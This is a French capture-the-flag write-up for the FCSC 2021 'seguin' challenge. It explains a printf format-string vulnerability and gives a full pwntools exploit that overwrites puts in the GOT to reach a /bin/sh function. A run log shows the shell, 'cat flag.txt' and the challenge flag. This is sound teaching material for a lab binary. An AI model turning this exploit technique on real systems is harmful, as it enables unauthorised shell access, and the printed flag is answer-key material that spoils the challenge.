Après quelques tests, on s’aperçoit rapidement que c’est un classique détournement de printf
; %n
écrit à l’emplacement de l’argument.
L’analyse du binaire (avec BinaryNinja) le confirme, et nous apprend qu’il existe une fonction chevre()
qui appelle /bin/sh
.
Le binaire n’étant pas chargé avec de l’ASLR, et le code étant i386 (offsets “courts”), j’ai choisi l’écrasement de l’adresse de la fonction puts
dans la section .got.plt
par l’adresse de la fonction chevre()
.
En effet puts()
est appelé juste après le printf
.
#!/usr/bin/env python3
from pwn import *
# context.log_level="DEBUG"
context.arch = "i386" # not amd64
where = 0xDEADFED5
where = 0x0804C018 # *puts dans .got.plt
what = 0x11223344
what = 0x080491B2 # chevre()
local = False
debug = False
if local:
p = process("./seguin", stdin=PTY)
if debug:
gdb.attach(
p,
gdbscript="""
break *main+0xac
break *main+0xbe
c
""",
)
else:
p = remote("127.0.0.1", 4000)
bin = ELF("./seguin")
print("shellfunc at :" + hex(bin.sym["chevre"]))
p.recvuntil(b"chercher")
sc = p32(where) # addresse où écrire
sc += str("%c%c").encode() # padding pour arriver à l'adresse
what -= 4 + 2 # on corrige la longeur
sc += str("%0" + str(what) + "x").encode() # .. qui va être écrit à l'adresse
sc += str("%n").encode()
print("please wait, loading up shellcode")
p.sendline(sc)
p.clean()
p.sendline(b"uname -a")
p.interactive()
$ ./exploit.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] '/opt/hackropole/fcsc2021/seguin/seguin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
shellfunc at :0x80491b2
please wait, loading up shellcode
[*] Switching to interactive mode
Linux 2eda21e15d74 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 GNU/Linux
$ ls -al
total 28
drwxr-xr-x 1 root root 4096 Nov 29 2023 .
drwxr-xr-x 1 root root 4096 Jan 12 21:08 ..
-r-------- 1 ctf ctf 71 Oct 25 2023 flag.txt
-r-x------ 1 ctf ctf 15608 Oct 25 2023 seguin
$ cat flag.txt
FCSC{1a8b4cd78b8dfa2ea2644ade38fcdb7f116a4953ea05d944d6683c6c365c47f6}